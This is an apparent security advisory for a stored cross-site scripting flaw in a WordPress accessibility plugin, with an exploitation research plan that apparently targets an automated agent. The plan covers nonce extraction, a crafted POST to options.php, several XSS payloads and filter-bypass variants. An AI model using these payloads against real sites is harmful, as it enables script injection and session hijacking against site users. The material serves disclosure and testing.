Web Accessibility with Max Access <= 2.1.0 - Authenticated (Administrator+) Stored Cross-Site Scripting
Description
The Web Accessibility with Max Access plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.1.0# Exploitation Research Plan: CVE-2026-24629 ## 1. Vulnerability Summary The **Web Accessibility with Max Access** plugin (<= 2.1.0) is vulnerable to **Authenticated (Administrator+) Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to sanitize user-supplied con…
Show full research plan
Exploitation Research Plan: CVE-2026-24629
1. Vulnerability Summary
The Web Accessibility with Max Access plugin (<= 2.1.0) is vulnerable to Authenticated (Administrator+) Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sanitize user-supplied configuration settings during storage and subsequently fails to escape those settings when rendering them on the site's frontend and backend.
While administrators typically have the unfiltered_html capability in standard WordPress installs, this vulnerability is critical in Multi-site environments or installations where DISALLOW_UNFILTERED_HTML is defined as true, as it allows an administrator to bypass intended security restrictions and execute arbitrary JavaScript in the context of other users (including Super Admins).
2. Attack Vector Analysis
- Vulnerable Endpoint: Plugin settings page, typically handled via the WordPress Settings API (
wp-admin/options.php) or a custom AJAX/POST handler. - Vulnerable Parameter: Likely configuration keys within the plugin's settings array (e.g.,
max_access_settings,toolbar_label, oraccessibility_statement). - Authentication Level: Administrator or higher.
- Preconditions:
- The plugin "Web Accessibility with Max Access" (slug:
accessibility-toolbar) must be active. unfiltered_htmlmust be disabled for the Administrator role (standard in Multisite or viawp-config.php).
- The plugin "Web Accessibility with Max Access" (slug:
3. Code Flow (Inferred)
- Entry Point (Admin): The administrator navigates to the settings page (likely
wp-admin/admin.php?page=accessibility-toolbar-settingsor similar). - Input Handling: The plugin registers settings using
register_setting(). If asanitize_callbackis missing or uses a weak function likeesc_attr(which only escapes during rendering, not storage) or fails to usewp_kses(), the payload is stored in thewp_optionstable. - Storage:
update_option()is called with the raw/insufficiently sanitized$_POSTdata. - Sink (Frontend/Backend): The plugin uses
get_option()to retrieve the malicious string. It is then echoed into the HTML of the site (often on every page where the accessibility toolbar appears) without usingesc_html(),esc_attr(), orwp_kses().- Potential Sink Function:
echo $options['toolbar_label'];or similar inside a hook likewp_footer.
- Potential Sink Function:
4. Nonce Acquisition Strategy
To save settings, the plugin will require a WordPress nonce generated by wp_nonce_field().
- Identify the Settings Page: Determine the exact slug by running:
wp admin menu list | grep "Accessibility" - Navigate and Extract: Use the
browser_navigatetool to go to the settings page as an Administrator. - Extract Nonce: Use
browser_evalto extract the_wpnoncevalue from the settings form.- JavaScript:
document.querySelector('input[name="_wpnonce"]').value - Action String: If the plugin uses the Settings API, the action is usually the
option_groupname. If it's a custom handler, check forcheck_admin_referer('action_name').
- JavaScript:
5. Exploitation Strategy
The goal is to inject a script that will execute whenever the accessibility toolbar is loaded.
Step 1: Determine the Option Name
Search the plugin code for the setting being saved:grep -r "register_setting" /var/www/html/wp-content/plugins/accessibility-toolbar/
Step 2: Construct the Payload
We will target a field likely rendered in the toolbar, such as a label or footer text.
- Payload:
"><script>alert(origin)</script>
Step 3: Submit the Request
Using the http_request tool, simulate the form submission to wp-admin/options.php.
- URL:
https://[TARGET]/wp-admin/options.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
option_page=[OPTION_GROUP]& action=update& _wpnonce=[EXTRACTED_NONCE]& [SETTING_NAME][field_key]=%22%3E%3Cscript%3Ealert(origin)%3C%2Fscript%3E
Step 4: Trigger Execution
Visit the site frontend (any post or page) to trigger the XSS.
6. Test Data Setup
- Install Plugin: Ensure
accessibility-toolbaris installed and active. - Create Admin User: Ensure an admin user exists.
- Disable Unfiltered HTML: Add the following to
wp-config.phpto simulate the vulnerable environment:define( 'DISALLOW_UNFILTERED_HTML', true ); - Ensure Settings Exist: Navigate to the plugin settings once to ensure default options are populated in the database.
7. Expected Results
- The POST request to
options.phpshould return a302 Redirectback to the settings page withsettings-updated=true. - When viewing the site frontend, the HTML source should contain the unescaped payload:
value=""><script>alert(origin)</script>"or simply<div ...><script>alert(origin)</script></div>. - A browser alert box should appear showing the site's origin.
8. Verification Steps
- Database Check: Use WP-CLI to verify the payload is stored raw in the database:
wp option get [SETTING_NAME] --format=json - Source Code Check: Verify the frontend output:
curl -s https://[TARGET]/ | grep "alert(origin)"
9. Alternative Approaches
- Admin-side XSS: If the payload doesn't render on the frontend, check the admin dashboard/settings page itself. Stored XSS in the admin panel can be used to hijack Super Admin sessions in Multisite.
- Shortcode Injection: If the plugin uses a shortcode to display the toolbar, check if shortcode attributes are vulnerable:
[max_access_toolbar label='<img src=x onerror=alert(1)>'] - Bypass
sanitize_text_field: Ifsanitize_text_fieldis used, try attribute-based payloads that don't use< >tags, such as:" onmouseover="alert(1)(if the output is inside an HTML attribute).
Summary
The Web Accessibility with Max Access plugin (<= 2.1.0) is vulnerable to Stored Cross-Site Scripting (XSS) because it fails to sanitize and escape plugin settings during storage and output. This allows authenticated administrators to inject arbitrary JavaScript into settings that are rendered across the site, which is particularly critical in Multisite environments where administrators do not have the 'unfiltered_html' capability.
Exploit Outline
To exploit this vulnerability, an attacker with Administrator-level access must first identify a site where the 'unfiltered_html' capability is restricted (such as a Multisite environment or a site with DISALLOW_UNFILTERED_HTML enabled). The attacker navigates to the plugin's settings page to extract a valid WordPress nonce and the relevant option group name. They then submit a crafted POST request to /wp-admin/options.php, injecting a script payload (e.g., "><script>alert(origin)</script>) into a configuration field like the toolbar label or accessibility statement. The malicious script is saved in the database and executes whenever a user, including site visitors or super admins, loads a page where the plugin's toolbar or settings are rendered.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.